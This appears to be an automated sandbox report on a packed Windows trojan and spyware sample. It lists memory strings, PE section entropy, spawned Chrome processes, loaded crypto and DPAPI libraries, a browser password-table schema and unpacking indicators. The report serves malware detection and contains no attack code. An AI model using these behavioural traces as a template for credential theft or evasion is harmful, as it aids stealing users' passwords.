Source: file.exe, 00000000.00000003.1669094743.0000000005E30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654449081.0000000005DAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655115648.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667207937.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655476543.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669267849.0000000005F7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651920647.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1658842244.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655829160.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653476467.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653922110.0000000005D93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650327004.0000000005944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1652678263.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1802595444.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657951157.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1652909170.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1658353481.0000000005DEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1787510427.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667953385.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1661125736.0000000005F1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655731362.0000000005CE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1658713388.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649455666.0000000005944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655610035.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668091289.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1658076864.0000000005ECE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669782307.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667029556.0000000005CE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657317756.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670048333.0000000005F90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655225897.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655938992.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1809275581.0000000006096000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659348717.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654767728.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1652804772.0000000005CE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657461259.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666068979.0000000005E09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655354020.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654890283.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667344750.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654025376.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669426149.0000000005CEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657830569.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657579271.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1652523568.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1664188152.0000000005F17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656409180.0000000005DC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668365466.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665834261.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1664868662.0000000005CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668631564.0000000005E24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654555235.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1784772795.0000000005845000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOGh vs file.exe
Source: file.exe, 00000000.00000003.1658223610.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1808834751.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667515503.0000000005E1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651363488.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656288749.0000000005CE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657696191.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656150051.0000000005E95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695294118.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1658486456.0000000005CE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653022697.0000000005CE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654338686.0000000005CEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670207323.0000000005CE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667666221.0000000005CE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657036734.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650979746.0000000005943000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654130649.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656899983.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1663526909.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650201592.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666593993.0000000005E1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653597763.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1658985383.0000000005EEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659717495.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656506025.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655000904.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653705124.0000000005E34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659861303.0000000005CEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669630875.0000000005E41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665609379.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666279909.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659486534.0000000005CE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1658612372.0000000005DE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654230809.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1660305019.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653814741.0000000005CE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668768317.0000000005F71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654661693.0000000005DA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656620315.0000000005DC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668497390.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974731848184818
Source: file.exe	Static PE information: Section: pmcthdkr ZLIB complexity 0.9943391600987036

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@11/8

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1506687255.0000000005866000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1526967380.0000000005876000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005849000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1908,i,16866088290354366866,11762703884386129565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1976,i,15534154704042037435,5378647065527263683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1908,i,16866088290354366866,11762703884386129565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1976,i,15534154704042037435,5378647065527263683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1907712 > 1048576

Source: file.exe

Static PE information: Raw size of pmcthdkr is bigger than: 0x100000 < 0x1a8400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.fa0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pmcthdkr:EW;gxnrbpay:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pmcthdkr:EW;gxnrbpay:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1dc1e1 should be: 0x1d5e61

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
